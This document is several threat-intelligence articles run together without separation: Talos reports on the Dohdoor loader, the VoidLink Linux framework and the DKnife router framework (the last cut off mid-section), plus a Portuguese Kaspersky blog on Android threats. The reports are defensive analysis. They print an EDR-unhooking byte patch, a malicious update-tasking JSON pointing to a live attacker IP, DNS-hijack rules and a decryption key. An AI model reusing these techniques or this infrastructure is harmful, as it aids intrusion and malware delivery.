Dohdoor achieves this by locating ntdll.dll with the hash “0x28cc” and finds NtProtectVirtualMemory with the hash “0xbc46c894”. Then it reads the first 32 bytes of the function using ReadProcessMemory that dynamically loads during the execution and compares them with the syscall stub pattern in hexadecimal “4C 8B D1 B8 FF 00 00 00” which corresponds to the assembly instructions “mov r10, rcx; mov eax, 0FFh”. If the byte pattern matches, it writes a 6-byte patch in hexadecimal “B8 BB 00 00 00 C3” which corresponds to assembly instruction “mov eax, 0BBh; ret”, resulting in creating a direct syscall stub that bypasses any user mode hooks.  

During our research, we were unable to find a payload that was downloaded and implanted by the Dohdoor. Still, we found that one of the C2 hosts associated with this campaign had a JA3S hash of “466556e923186364e82cbdb4cad8df2c” and the TLS certificate serial number “7FF31977972C224A76155D13B6D685E3” according to the OSINT data. The JA3S hash and the serial number found resembles the JA3S hash of the default Cobalt Strike server, indicating that the threat actor was potentially using the Cobalt Strike beacon as the payload to establish persistent connection to the victim network and execute further payloads.   

Low confidence TTPs overlap with North Korean actors’ techniques 

Talos assesses with low confidence that UAT-10027 is North Korea-nexus, based on the similarities in the tactics, techniques, and procedures (TTPs) with that of the other known North Korean APT actor Lazarus.  

We observed similarities in the technical characteristics of Dohdoor with Lazarloader, a tool belonging to the North Korean APT Lazarus. The key similarity noted is the usage of a custom XOR-SUB with the position-dependent decryption technique and the specific constant in hexadecimal (0x26) for subtraction operation. Additionally, the NTDLL unhooking technique used to bypass EDR monitoring by identifying and restoring system call stubs aligns with features found in earlier Lazarloader variants. 

The implementation of DNS-over-HTTPS (DoH) via Cloudflare’s DNS service to circumvent traditional DNS security, along with the process hollowing technique to reflectively execute the decrypted payload in targeted legitimate Windows binaries like ImagingDevices.exe, and the sideloading of malicious DLLs in disguised file name “propsys.dll”, were observed in the tradecraft of the North Korean APT actor Lazarus. 

In addition to the observed technical characteristics similarities of the tools, the use of multiple top-level domains (TLDs) including “.design”, “. software”, and “. online”, with varying case patterns, also aligns with the operational preferences of Lazarus. While UAT-10027's malware shares technical overlaps with the Lazarus Group, the campaign’s focus on the education and health care sectors deviates from Lazarus’ typical profile of cryptocurrency and defense targeting. However, Talos has historically seen that North Korean APT actors have targeted the health care sector using Maui ransomware, and another North Korean APT group, Kimsuky, has targeted the education sector, highlighting the overlaps in the victimology of UAT-10027 with that of other North Korean APTs. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Loader.Dohdoor-10059347-0 
• Win.Loader.Dohdoor-10059535-0 
• Ps1.Loader.Dohdoor-10059533-0 
• Ps1.Loader.Dohdoor-10059534-0 

The following SNORT® Rules (SIDs) detect and block this threat: 

• Snort2 – 65950, 65951, 65949
• Snort3 – 301407, 65949

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

• Cisco Talos recently discovered a new threat actor, UAT-9921, leveraging VoidLink in campaigns. Their activities may go as far back as 2019, even without VoidLink.
• The VoidLink compile-on-demand feature lays down the foundations for AI-enabled attack frameworks, which can create tools on-demand for their operators.
• Cisco Talos found clear indications that implants also exist for Windows, with the capability to load plugins.
• VoidLink is a near-production-ready proof of concept for an enterprise grade implant management framework, and features auditability and oversight for non-operators.

---

VoidLink is a new modular framework that targets Linux based systems. Modular frameworks are prevalent on the landscape today with the likes of Cobalt Strike, Manjusaka, Alchimist, and SuperShell among the many operating today. This framework is yet another implant management framework denoting a consistent and concerning evolution with shorter development cycles.

Cisco Talos is tracking the threat actor first seen to be using the VoidLink framework as UAT-9921. This threat actor seems to have been active since 2019, although they have not necessarily used VoidLink over the duration of their activity.  UAT-9921 uses compromised hosts to install VoidLink command and control (C2) which are then used to launch scanning activities both internal and external to the network.

Who is UAT-9921?

Cisco Talos assesses that this threat actor has knowledge of Chinese language based on the language of the framework, code comments and code planning done using the AI enabled IDE. We also assess with medium confidence that they have been active since at least 2019, not necessarily using VoidLink.

VoidLink development appears to be a more recent addition with the aid of large language model (LLM) based  integrated development environment (IDE). However, in their compromise and post-compromise operations, UAT-9921 does not seem to be using AI-enabled tools. 

Cisco Talos was able to determine that the operators deploying VoidLink have access to the source code of some modules and some tools to interact with the implants without the C2. This indicates inner knowledge of the communication protocols of the implants.

While the development of VoidLink seems to be split into teams, it is unclear what level of compartmentalization exists between the development and the operation. We do know that UAT-9921 operators have access to VoidLink source code of kernel modules, as well as tools that enable interaction with the implant without the C2.

Talos assesses with high confidence that UAT-9921 compromises servers with the usage of pre-obtained credentials or exploiting Java serialization vulnerabilities which allow remote code execution, namely Apache Dubbo project. We also found indications of possible initial compromise via malicious documents, but no samples were obtained.

In their post-compromise activities, UAT-9921 deploys the VoidLink implant. This allows the threat actor to hide their presence and the VoidLink C2, once deployed.

To find new targets and perform lateral movement, UAT-9921 deploys a SOCKS server on their compromised servers, which is used by FSCAN to perform internal reconnaissance.

With regard to victimology, UAT-9921 appears to focus on the technology sector, but we have also seen victims from financial services. However, the cloud-aware nature of VoidLink and scanning of entire Class C networks indicates that there is no specific targeting.

Given VoidLink’s auditability and oversight features, it is worth noting that even though UAT-9921 activity involves usage of exploits and pre-obtained credentials, Talos cannot discount the possibility that this activity is part of red team exercises.

Timeline

Talos is aware of multiple VoidLink-related victims dating back to September with the activity continuing through to January 2026. This finding does not necessarily contradict the Checkpoint Research mentions of late November since the presented documents show development dates from version 2.0 and Cisco Talos assesses that this was still version 1.0.

The future of attack frameworks

Talos has been tracking fast deployment frameworks since 2022, with reports on Manjusaka and Alchimist/Insekt. These two projects were tightly linked in their development philosophy, features, and architectural design. There were obvious inspirations from CobaltStrike and Sliver; however, one fundamental difference was the single file infrastructure and the lack of integrated initial infector vector.

The VoidLink framework represents a giant leap in this predictable evolution, while keeping the same, single file infrastructure philosophy. This is a clear example of a “defense contractor grade” implant management framework, which represents one natural next step of other single file infrastructure frameworks like Manjusaka and Alchimist. 

The development of VoidLink was fast, supported on AI-enabled integrated development environments. It uses three different programing languages: ZigLang for the implant, C for the plugins and GoLang for the backend. It supports compilation on demand for plugins, providing support for the different Linux distributions that might be targeted. The reported development timeline of around two months would be hard to achieve by a small team of developers without the help of an AI-enabled IDE.

While Talos will discuss the framework in more detail below, it is important to reflect on what is to come in the framework landscape. With the current level of AI agents, it will not be surprising to find implants that ask their C2 for a “tool” that allows them to access certain resources.

The C2 will provide that implant with a plugin to read a specific database the operator has found or an exploit for a known vulnerability, which just happens to be on an internal web server. The C2 doesn’t necessarily need to have all these tools available — it may have an agent that will do its research and prepare the tool for the operator to use. With the current VoidLink compile-on-demand capability, integrating such feature should not be complex. Keep in mind that all of this will happen while the operator continues to explore the environment.

Of course, this may just be an intermediate step, assuming that there is a human operator managing the environment exploration. However, it likely will not be long before we begin to uncover malicious agents doing the initial stages of exploration and lateral movement before human intervention.

This has an impact of reducing compromise attack metrics — namely, the time to lateral movement and time to focused data exfiltration. It also allows the generation of never-before-seen tools and the constant change in the attacker’s behavior, making detection more difficult.

VoidLink Overview

VoidLink contains features that make it “defense contractor grade,” such as the auditability of all actions and the existence of a role-based access control (RBAC). The RBAC consists of three different levels of roles: “SuperAdmin,” “Operator,” and “Viewer.” This feature is not often seen in other similar frameworks, but it is crucial when operations need to have legal and corporate oversight.

The mesh peer-to-peer (P2P) and dead-letter queue routing capabilities allow some implants to communicate with others, creating hidden networks with-in the same environment allowing the bypass of network access restrictions, as one implant may serve as external gateway for other implants.

The development timeline reported by Checkpoint Research indicates that this is a near-production-ready proof of concept. Most frameworks support Windows and MacOS from their early stages of development; VoidLink only appears to have implants developed for Linux, although the implant code is written in such a way that can easily be adapted to other languages. The main implant is written in ZigLang, a rather uncommon language; however the plugins are written in C. When needed these are loaded via an ELF linker and loader.

Talos has found clear indications that the main implant has been compiled for Windows and that it can load plugins via dynamic-link library (DLL) sideloading. Unfortunately, we were unable to obtain a sample to confirm these indications.

The Linux implants have advanced features, such as an eBPF or Loadable Kernel Module (LKM) based rootkit, container privilege escalation, and sandbox escape. These are often related with the server side, but there are a multitude of plugins in the implant targeting Linux as a desktop and not a server, something which is not often seen on malware since the Linux desktop base is not as prevalent as Windows or MacOS.

Most of the modular frameworks Talos observes support a wide variety of platforms typically inclusive of Linux, Windows, and MacOS — but VoidLink is different. The VoidLink framework specifically targets Linux devices without any current support for Windows or MacOS. Linux is a particularly large landscape, with the Internet of Things (IoT) and critical infrastructure heavily relying on the Linux OS.

As with most frameworks, VoidLink can generate implants consisting of a variety of plugins. The plugins themselves are standard, with the ability to interact and extract information from end systems, as well as capabilities allowing for lateral movement and anti-forensics. VoidLink is also cloud-aware and can determine if it is running in a Kubernetes or Docker environment, then gather additional information to make use of the vendor’s respective APIs. It has stealth mechanisms in place, including the ability to detect endpoint detection and response (EDR) solutions and create an evasion strategy based on the findings. There are also a variety of obfuscation and anti-analysis capabilities built into the framework designed to either obfuscate the data being exfiltrated or hinder the analysis and removal of the malware itself.

VoidLink is positioned to become an even more powerful framework based on its capabilities and flexibility, as demonstrated through this apparent proof of concept.

Coverage

The following Snort Rules (SIDs) detect and block this threat:

• Snort2: 1:65915 - 1:65922, 1:65834-65842
• Snort3: 1:65915 - 1:65922, 1:65834-65838, 1:310388-1:310389

The following ClamAV signature detects and blocks this threat:

• Unix.Trojan.VoidLink-10059283

More details on how Cisco detects threats like VoidLink is available here.

O ano de 2025 registrou um número recorde de ataques a dispositivos Android. Golpistas vêm surfando em algumas grandes tendências: o hype em torno de aplicativos de IA, a tentativa de contornar bloqueios de sites ou verificações de idade, a busca por um bom negócio na compra de um novo smartphone, a ampla adoção do mobile banking e, claro, a popularização do NFC. Vamos analisar as principais ameaças de 2025–2026 e descobrir como manter seu dispositivo Android protegido nesse novo cenário.

Sideloading

Pacotes de instalação maliciosos (arquivos APK) sempre representaram a maior ameaça no ecossistema Android, apesar dos esforços contínuos do Google, ao longo de vários anos, para fortalecer o sistema operacional. Ao recorrer ao sideloading, isto é, instalar um aplicativo por meio de um arquivo APK em vez de baixá-lo da loja oficial, os usuários podem instalar praticamente qualquer coisa, inclusive malware puro e simples. Nem a implementação do Google Play Protect nem as diversas restrições de permissões impostas a aplicativos suspeitos conseguiram reduzir de forma significativa a dimensão do problema.

De acordo com dados preliminares da Kaspersky para 2025, o número de ameaças Android detectadas cresceu quase 50%. Apenas no terceiro trimestre, as detecções aumentaram 38% em comparação com o segundo. Em alguns segmentos, como os cavalos de troia bancários, o crescimento foi ainda mais agressivo. Somente na Rússia, o notório cavalo de troia bancário Mamont atacou 36 vezes mais usuários do que no ano anterior, enquanto, globalmente, essa categoria como um todo registrou um aumento de quase quatro vezes.

Nos dias atuais, agentes mal-intencionados distribuem malware principalmente por meio de aplicativos de mensagens, inserindo arquivos maliciosos em mensagens diretas e em chats de grupo. O arquivo de instalação costuma ter um nome chamativo, como “party_pics.jpg.apk” ou “clearance_sale_catalog.apk”, acompanhado de uma mensagem que “ajuda” o usuário ao explicar como instalar o pacote, enquanto contorna as restrições do sistema operacional e os alertas de segurança.

Depois que um novo dispositivo é infectado, o malware frequentemente se autoespalha para todos os contatos da vítima.

Spam em mecanismos de busca e campanhas de e-mail também estão em alta, atraindo usuários para sites que se parecem exatamente com uma loja oficial de aplicativos. Neles, o usuário é incentivado a baixar o “aplicativo útil mais recente”, como um assistente de IA. Na prática, em vez de uma instalação advinda de uma loja oficial, o usuário acaba baixando um pacote APK. Um exemplo emblemático dessas táticas é o cavalo de troia Android ClayRat, que combina todas essas técnicas para atingir usuários russos. Ele se espalha por grupos e sites falsos, é enviado automaticamente aos contatos da vítima por SMS e, em seguida, passa a roubar registros de conversas e históricos de chamadas, chegando até a tirar fotos do proprietário com a câmera frontal do dispositivo. Em apenas três meses, surgiram mais de 600 variantes distintas do ClayRat.

A gravidade do problema é tão grande que o Google chegou a anunciar uma futura proibição da distribuição de aplicativos de desenvolvedores desconhecidos a partir de 2026. No entanto, após alguns meses de resistência por parte da comunidade de desenvolvedores, a empresa optou por uma abordagem mais branda: aplicativos não assinados provavelmente só poderão ser instalados por meio de algum tipo de modo de superusuário. Como resultado, é de se esperar que os golpistas simplesmente atualizem seus guias com instruções para ativar esse modo.

Kaspersky for Android ajudará você a se proteger contra arquivos APK falsificados e trojanizados. Infelizmente, em função da decisão do Google, nossos aplicativos de segurança para Android estão indisponíveis no Google Play no momento. Já fornecemos anteriormente informações detalhadas sobre como instalar nossos aplicativos Android com garantia total de autenticidade.

Ataques de retransmissão por NFC

Uma vez que um dispositivo Android é comprometido, os hackers podem eliminar intermediários e roubar dinheiro da vítima diretamente, graças à ampla popularização dos pagamentos móveis. Somente no terceiro trimestre de 2025, mais de 44.000 desses ataques foram detectados na Rússia – um salto de 50% em relação ao trimestre anterior.

Atualmente, há dois principais golpes em circulação: explorações NFC diretas e reversas.

Um ataque de retransmissão por NFC direto ocorre quando um golpista entra em contato com a vítima por meio de um aplicativo de mensagens e a convence a baixar um aplicativo, supostamente para “verificar sua identidade” junto ao banco. Se a vítima cair no golpe e instalar o aplicativo, será instruída a aproximar o cartão bancário físico da parte traseira do telefone e a digitar o PIN. Em poucos instantes, os dados do cartão são entregues aos criminosos, que então podem esvaziar a conta ou sair fazendo compras.

Um ataque de retransmissão por NFC reverso é um esquema mais elaborado. O golpista envia um APK malicioso e convence a vítima a definir esse novo aplicativo como o método principal de pagamento por aproximação. O aplicativo gera um sinal NFC que é reconhecido por caixas eletrônicos como o cartão do golpista. Em seguida, a vítima é induzida a ir até um caixa eletrônico com o telefone infectado para depositar dinheiro em uma “conta segura”. Na prática, esses valores vão diretamente para o bolso do criminoso.

Ambos os métodos são detalhados no nosso post sobre ataques de skimming por NFC.

O NFC também vem sendo explorado para sacar valores de cartões cujos dados já foram roubados por meio de sites de phishing. Nesse cenário, os atacantes tentam vincular o cartão furtado a uma carteira digital no seu próprio smartphone, uma técnica que analisamos em profundidade no artigo Fraudadores de cartões com NFC se escondem atrás do Apple Pay e Google Wallet.

A polêmica em torno das VPNs

Em muitas partes do mundo, acessar determinados sites já não é tão simples quanto antes. Alguns são bloqueados por reguladores locais de Internet ou por provedores de acesso por meio de decisões judiciais; outros exigem que o usuário faça uma verificação de idade, apresentando documentos e informações pessoais. Em certos casos, os sites chegam a bloquear completamente o acesso de usuários de países específicos apenas para evitar a complexidade de cumprir legislações locais. Diante dessa situação, os usuários tentam constantemente contornar essas restrições e, com frequência, acabam pagando por isso com seus dados ou com dinheiro.

Muitas ferramentas populares para burlar bloqueios, especialmente as gratuitas, acabam espionando seus próprios usuários. Uma auditoria recente revelou que mais de 20 serviços populares, somando mais de 700 milhões de downloads, rastreiam ativamente a localização dos usuários. Além disso, esses aplicativos costumam empregar criptografia fraca ou duvidosa, o que deixa os dados dos usuários praticamente expostos à interceptação por terceiros.

E mais: segundo dados do Google de novembro de 2025, houve um aumento acentuado nos casos de aplicativos maliciosos disfarçados de serviços legítimos de VPN, cujo objetivo é enganar usuários desavisados.

As permissões que esses tipos de aplicativos realmente necessitam são ideais para interceptar dados e manipular o tráfego de sites. Também é muito mais fácil para golpistas convencerem uma vítima a conceder privilégios administrativos a um aplicativo responsável pelo acesso à Internet do que, por exemplo, a um jogo ou reprodutor de música. A tendência é que esse tipo de esquema continue a ganhar popularidade.

Cavalo de troia “de fábrica”

Até mesmo usuários cautelosos podem acabar vítimas de uma infecção ao ceder à tentação de economizar. Ao longo de 2025, foram registrados, em várias partes do mundo, casos de dispositivos que já vinham infectados com um cavalo de troia no momento em que eram retirados da caixa. Em geral, tratava-se de smartphones de fabricantes pouco conhecidos ou de falsificações de marcas famosas adquiridas em marketplaces online. Mas a ameaça não se limitou apenas a telefones: TV boxes, tablets, smart TVs e até porta-retratos digitais também foram considerados vulneráveis.

Ainda não está totalmente claro se a infecção ocorre diretamente na fábrica ou em algum ponto da cadeia de suprimentos entre a linha de produção e a casa do comprador, mas o fato é que o dispositivo já está comprometido antes mesmo de ser ligado pela primeira vez. Normalmente, trata-se de um malware sofisticado chamado Triada, identificado pela primeira vez por analistas da Kaspersky em 2016. Ele é capaz de se injetar em todos os aplicativos em execução para interceptar informações, roubando tokens de acesso e senhas de aplicativos populares de mensagens e redes sociais, sequestrando mensagens SMS, incluindo códigos de confirmação, redirecionando usuários para sites repletos de anúncios e até executando um proxy diretamente no telefone, permitindo que atacantes naveguem na Internet usando a identidade da vítima.

Do ponto de vista técnico, o cavalo de troia fica embutido diretamente no firmware do smartphone, e a única forma de eliminá-lo é reinstalar o sistema operacional. Em muitos casos, ao analisar o sistema mais a fundo, descobre-se que o dispositivo tem muito menos memória RAM ou armazenamento do que o anunciado, o que significa que o firmware literalmente mente para o proprietário para vender um hardware barato como se fosse um modelo mais avançado.

Outra ameaça comum pré-instalada é o botnet BADBOX 2.0, que também atua simultaneamente como proxy e como mecanismo de fraude publicitária. Esse malware é especializado em TV boxes e dispositivos de hardware semelhantes.

Como continuar usando dispositivos Android sem perder a sanidade

Apesar da lista crescente de ameaças, ainda é possível usar seu smartphone Android com segurança. Basta seguir algumas regras rigorosas de higiene digital.

• Instale uma solução de segurança abrangente em todos os seus smartphones. Recomendamos Kaspersky for Android para proteção contra malware e phishing.
• Evite instalar aplicativos por sideloading via arquivos APK sempre que for possível utilizar uma loja de aplicativos. Uma loja conhecida, mesmo que menor, é sempre uma opção mais segura do que um APK aleatório obtido em um site qualquer. Se não houver alternativa, baixe arquivos APK apenas dos sites oficiais das empresas e verifique cuidadosamente a URL da página. Se você não tiver 100% de certeza sobre qual é o site oficial, não confie apenas em mecanismos de busca; consulte diretórios empresariais oficiais ou, no mínimo, a Wikipedia, para confirmar o endereço correto.
• Leia atentamente os avisos do sistema operacional durante a instalação. Não conceda permissões se os direitos solicitados ou as ações parecerem ilógicos ou excessivos para o aplicativo em questão.
• Sob nenhuma hipótese instale aplicativos por meio de links ou anexos em bate-papos, e-mails ou canais de comunicação semelhantes.
• Nunca aproxime seu cartão bancário físico do telefone. Não existe absolutamente nenhum cenário legítimo em que isso traga qualquer benefício ao usuário.
• Não digite a senha do seu cartão em nenhum aplicativo do telefone. Senhas só devem ser solicitadas por caixas eletrônicos ou por terminais físicos de pagamento.
• Ao escolher uma VPN, opte por serviços pagos de empresas reconhecidas e confiáveis.
• Compre smartphones e outros eletrônicos apenas de varejistas oficiais e evite marcas desconhecidas. Lembre-se: se uma oferta parece boa demais para ser verdade, quase certamente é.

Outras grandes ameaças ao Android em 2025:

Vulnerabilidade Pixnapping: capturas de tela sem restrição no seu telefone Android

Spywares que fingem ser um antivírus

Roubo de dados durante o carregamento do smartphone

O cavalo de troia para roubo de dados SparkCat penetra na App Store e no Google Play para roubar dados de fotos

• Cisco Talos uncovered “DKnife,” a fully featured gateway-monitoring and adversary-in-the-middle (AitM) framework comprising seven Linux-based implants that perform deep-packet inspection, manipulate traffic, and deliver malware via routers and edge devices. Based on the artifact metadata, DKnife has been used since at least 2019 and the command and control (C2) are still active as of January 2026.
• DKnife’s attacks target a wide range of devices, including PCs, mobile devices, and Internet of Things (IoT) devices. It delivers and interacts with the ShadowPad and DarkNimbus backdoors by hijacking binary downloads and Android application updates.
• DKnife primarily targets Chinese-speaking users, indicated by credential harvesting for Chinese-language services, exfiltration modules for popular Chinese mobile applications and code references to Chinese media domains. Based on the language used in the code, configuration files and the ShadowPad malware delivered in the campaign, we assess with high confidence that China-nexus threat actors operate this tool.
• We discovered a link between DKnife and a campaign delivering WizardNet, a modular backdoor known to be delivered by a different AiTM framework Spellbinder, suggesting a shared development or operational lineage.

---

Background 

Since 2023, Cisco Talos has continuously tracked the MOONSHINE exploit kit and the DarkNimbus backdoor it distributes. The exploit kit and backdoor were historically used for delivering Android and iOS exploits. While hunting for DarkNimbus samples, Talos discovered an executable and linkable format (ELF) binary communicating with the same C2 server as the DarkNimbus backdoor, which retrieved a gzip-compressed archive. Analysis revealed that the archive contained a fully featured gateway monitoring and AiTM framework, dubbed “DKnife” by its developer. Based on the artifact metadata, the tool has been used since at least 2019, and the C2 is still active as of January 2026. 

Link between DKnife and WizardNet campaigns 

During Talos' pivot on the C2 infrastructure associated with DKnife, we identified additional servers exhibiting open ports and configurations consistent with previously observed DKnife deployments. Notably, one host (43.132.205[.]118) displayed port activity characteristic of DKnife infrastructure and was additionally found hosting the WizardNet backdoor on port 8881. 

WizardNet is a modular backdoor first disclosed by ESET in April 2025, known to be deployed via Spellbinder, a framework that performs AitM attacks leveraging IPv6 Stateless Address Autoconfiguration (SLAAC) spoofing. 

Network responses from the WizardNet server align closely with the tactics, techniques, and procedures (TTPs) documented in ESET’s analysis. Specifically, the server delivered JSON-formatted tasking instructions that included a download URL pointing to an archive named minibrowser11_rpl.zip, which include the Wizardnet backdoor downloader.  

{ 
  "CSoftID": 22, 
  "CommandLine": "", 
  "Desp": "1.1.1160.80", 
  "DownloadUrl": "http://43.132.205.118:81/app/minibrowser11_rpl.zip", 
  "ErrCode": 0, 
  "File": "minibrowser11.zip", 
  "Flags": 1, 
  "Hash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "InstallType": 0, 
  "NewVer": "1.1.1160.900", 
  "PatchFile": "QBDeltaUpdate.exe", 
  "PatchHash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "Sign": "", 
  "Size": 36673429, 
  "VerType": "" 
} 

Spellbinder’s TTPs, which involve hijacking legitimate application update requests and serving forged responses to redirect victims to malicious download URLs, are similar to DKnife’s method of compromising Android application updates. Spellbinder has also been observed distributing the DarkNimbus backdoor, whose C2 infrastructure previously led to the initial discovery of DKnife. The URL redirection paths (http[:]//[IP]:81/app/[app name]) and port configurations identified in these cases are identical to those used by DKnife, indicating a shared development or operational lineage.  

Targeting scope  

Based on artifacts recovered from the DKnife framework, this campaign appears to primarily target Chinese-speaking users. Indicators supporting this assessment include data collection and processing logic explicitly designed for Chinese mail services , as well as parsing and exfiltration modules tailored for Chinese mobile applications and messaging platforms, including WeChat. In addition, code references to Chinese media domains were identified in both the binaries and configuration files. The screenshot below illustrates an Android application hijacking response that targeted a Chinese taxi service and rideshare application. 

It is important to note that Talos obtained the configuration files for analysis from a single C2 server. Therefore, it remains possible that the operators employ different servers or configurations for distinct regional targeting scopes. Considering the connection between DKnife and the WizardNet campaign and given ESET’s reporting that WizardNet activity has targeted the Philippines, Cambodia, and the United Arab Emirates, we cannot rule out a broader regional or multilingual targeting scope. 

Indication of Chinese-speaking threat actors 

DKnife contains several artifacts that suggest the developer and operators are familiar with Simplified Chinese. Multiple comments written in Simplified Chinese appear throughout the DKnife configuration files (see Figure 2). 

One component of DKnife is named yitiji.bin. The term "Yitiji" is the Pinyin (official romanization system for Mandarin Chinese) for "一体机" which means "all-in-one." In DKnife, this component is responsible for opening the local interface on the device to route traffic through a single device in this scenario. 

Additionally, within the DKnife code, when reporting user activities back to the remote C2 server, multiple messages are labelled in Simplified Chinese to indicate the types of activities. 

DKnife: A gateway monitoring and AitM framework 

DKnife is a full-featured gateway monitoring framework composed of seven ELF components that perform traffic manipulation across a target network. In addition to the seven ELF components that provide the core functionality, the framework comes with a list of configuration files (see Appendix for the full list), self-signed certificates, phishing templates, forged HTTP responses for hijacking and phishing, log files, and backdoor binaries. 

 The framework is designed to work with backdoors installed on compromised devices. Its key capabilities include serving update C2 for the backdoors, DNS hijacking, hijacking Android application updates and binary downloads, delivering ShadowPad and DarkNimbus backdoors, selectively disrupting security-product traffic and exfiltrating user activity to remote C2 servers. The following sections highlight DKnife’s key capabilities and explain how its seven ELF binaries work together to implement them. 

Targeted platform 

DKnife binaries are 64-bit Linux (x86-64) ELF implants that run on Linux-based devices. One of the components remote.bin imports the library "libcrypto.so.10", indicating it targets CentOS/RHEL-based platforms. Configuration elements such as PPPoE, VLAN tagging, a bridged interface (br0), and adjustable MTU and MAC parameters suggest that DKnife is tailored for edge or router devices running Linux-based firmware.  

Key capabilities 

The Deep Packet Inspection (DPI) logic and modular design of DKnife enable operators to conduct traffic monitoring campaigns ranging from covert monitoring of user activity to active in-line attacks that replace legitimate downloads with malicious payloads. The following sections highlight the framework’s key capabilities including: 

• Serving C2 to Android and Windows DarkNimbus malware 
• DNS hijacking 
• Android Application binary update hijacking 
• Windows binary hijacking 
• Anti-virus traffic disruption 
• User activity monitoring 

Serving updated C2 to the Android and Windows DarkNimbus backdoors 

In previously published research about the DarkNimbus backdoor, analysts noted that some samples communicated with their C2 servers using a custom protocol, leading to the hypothesis that the backdoor operated within an AiTM environment. Talos' discovery of DKnife validates this assessment. 

DKnife is designed to work with both Android and Windows variants of DarkNimbus. For the Windows version, the dknife.bin component inspects UDP traffic and sends them to port 8005. When it identifies a request containing the string marker DKGETMMHOST, it constructs and returns a response specifying the C2 server address. The response includes two parameters: DKMMHOST and DKFESN. The DKMMHOST value is read from DKnife’s configuration file ("/dksoft/conf/server.conf"), which contains the line MMHOST URL=[value]. The DKFESN value represents a device identifier that DKnife retrieves from an internal server located at "192.168.92.92:8080".  

For the Android variants, the backdoor attempts to contact a Baidu URL "http[:]//fanyi.baidu[.]com/query_config_dk" to retrieve its C2 information. This URL does not return any response from Baidu itself; rather, it serves as a recognizable trigger for DKnife, which intercepts the request and injects the C2 response.  

DNS hijacking 

The DKnife framework relies on two main configuration files to control its DNS-based hijacking and attack logic. The dns.conf file defines the global keyword-to-IP mapping rules and framework parameters used for DNS interception. The perdns.conf file extends this by defining per-target or campaign-specific DNS attack tasks, including timing parameters such as interval and duration for each attack. In the archive we obtained from the C2 server, only perdns.conf was present; it contained a template for setup rather than active attack data. 

DKnife supports both IPv4 and IPv6 DNS hijacking: 

• IPv4 (A) DNS hijacking:
  • For configured domains: replies with the per-domain IPv4 from dns.conf 
  • For test.com: replies with 8.8.8.8 (and logs) 
  • For JD-related domains (“api.m.jd.com”, “beta-api.m.jd.com”, “api.jd.co.th”, or “beta-api.jd.co.th”): replies with 10.3.3.3 
• IPv6 (AAAA) DNS hijacking:
  • For configured domains and for test.com: replies with fixed IPv6 IP 240e:a03:a03:303:a03:303:a03:303 (crafted) 

The private IP address 10.3.3.3 belongs to the local interface created by the yitiji.bin component in DKnife. DKnife uses the local interface for delivering malicious binaries (see the following section). The crafted AAAA response is not an actual public address. When DKnife sees traffic addressed to that crafted IPv6, it checks the last 8 bytes of the address and converts it to the local interface address 10.3.3.3.  

The code also specially tempers the domains associated with mail services. It takes the queried domain, removes any trailing period if present, then splits on “.” and extracts the leftmost label (e.g., “mail.example.com” into “mail”). It then looks up that label in the same per-domain configuration. Once the attack flag is enabled and the cooldown window has elapsed, it immediately injects a configured response to replace the original response.  

Android application binary update hijacking 

DKnife can hijack and replace Android application updates by intercepting the update manifest requests. When an Android application sends an APK update manifest request, DKnife intercepts it, consults the configuration file, and selects the corresponding JSON response file to reply. This response contains a download URL redirecting to the URL of address 10.3.3.3, which DKnife recognizes and routes to the yitiji.bin created Local Area Network (LAN) to deliver malware instead of the legitimate update APK. 

 The configuration file /dksoft/conf/url.cfg defines the rules and responses used for traffic blocking, phishing on Android and Windows platforms, executable file (.exe)  hijacking, and credential-phishing page responses. The file follows the format: [Request URL] [Response JSON file] as shown in Figure 11. 

Within the /bin/html/dkay-scripts folder of the DKnife archive, there are 185 JSON files configured to hijack applications. The targeted applications are mostly popular Chinese-language services (some only available in China), including news media, video streaming, image editing apps, e-commerce platforms, taxi-service platforms, gaming, and pornography video streaming, among others. An example response used to hijack a Chinese photo editing application update request is shown below: 

Windows binary hijacking for delivering Shadowpad and DarkNimbus 

In addition to Android update hijacking, DKnife also supports hijacking of Windows and other binary downloads. The hijacking rules are set up during initialization. DKnife attempts to read the rules configuration file at /dksoft/conf/rules.aes and decrypts it using a variant of the Tiny Encryption Algorithm (TEA) algorithm employed by Tencent’s older OICQ/QQ login protocols, commonly referred to as QQ TEA. DKnife decrypts the file with a key dianke0123456789, and saves the decrypted file as rules.conf.  

Talos did not obtain the rules.aes file from the archive we downloaded. However, based on the code analysis, rules.conf is the configuration to define what requests to match, what to send back, when to throttle and tracking the response. The rules include the following information:  

Field in the line	Description
id=<number>	Rule ID
host=<regex>	Matching host IP
user_agent=<regex>	Matching User Agent
url=<regex>	Matching URL
file=<relative path>	Relative file name points into “/dksoft/html/dkay-scripts/”.
location=<HTTP Location>	HTTP location used for 302 redirects
msg=<plain text>	Message for operator
interval=<sec>	Minimum seconds between two injections to the same victim
duration=<sec>	How long the rule stays active once triggered

After reading the rules into a data structure in the memory, the rules.conf file is deleted on the device. When an HTTP request’s Host and URI match the configured rule, DKnife evaluates the rule’s duration and interval timers to determine whether to trigger. If the rule fires and the requested filename has a matching extension (e.g., “.exe”, “.rar”, “.zip”, or “.apk”), DKnife forges an HTTP 302 redirect whose Location URL is taken from the rule’s data field. 

If the binary download URL matches a specific pattern (“.exe” extension after the query symbol), the file name is replaced with install.exe. 

Shadowpad and DarkNimbus backdoors 

The install.exe file (SHA256: 2550aa4c4bc0a020ec4b16973df271b81118a7abea77f77fec2f575a32dc3444) is found in the downloaded archive under path /dkay-scripts/. It is a RAR self extraction package containing three binaries, that are actually ShadowPad and the DarkNimbus backdoor, which both being reported [1,2] used by China-nexus threat actors. When launched, the legitimate .exe (TosBtKbd.exe) sideloads the ShadowPad DLL loader (TosBtKbd.dll), which then loads the DarkNimbus DLL backdoor (TosBtKbdLayer.dll). That DarkNimbus backdoor calls out to the Cloudflare DNS address 1.1.1.1, which DKnife intercepts to return the real C2 IP. 

The Shadowpad sample has not been previously reported but is very similar to a previously reported sample. Although it uses a different unpacking XOR seed key, it employs the same unpacking algorithm. 

The Shadowpad samples (both .exe and .dll) are signed with two certificates both issued from the signer “四川奇雨网络科技有限公司”. This is a company located in Sichuan Chengdu, China specialised in developing computer software and providing network communication devices, according to publicly available information. Pivoting on this signer, Talos found 17 samples that contain the Shadowpad and DarkNimbus backdoor.  

Anti-virus traffic disruption 

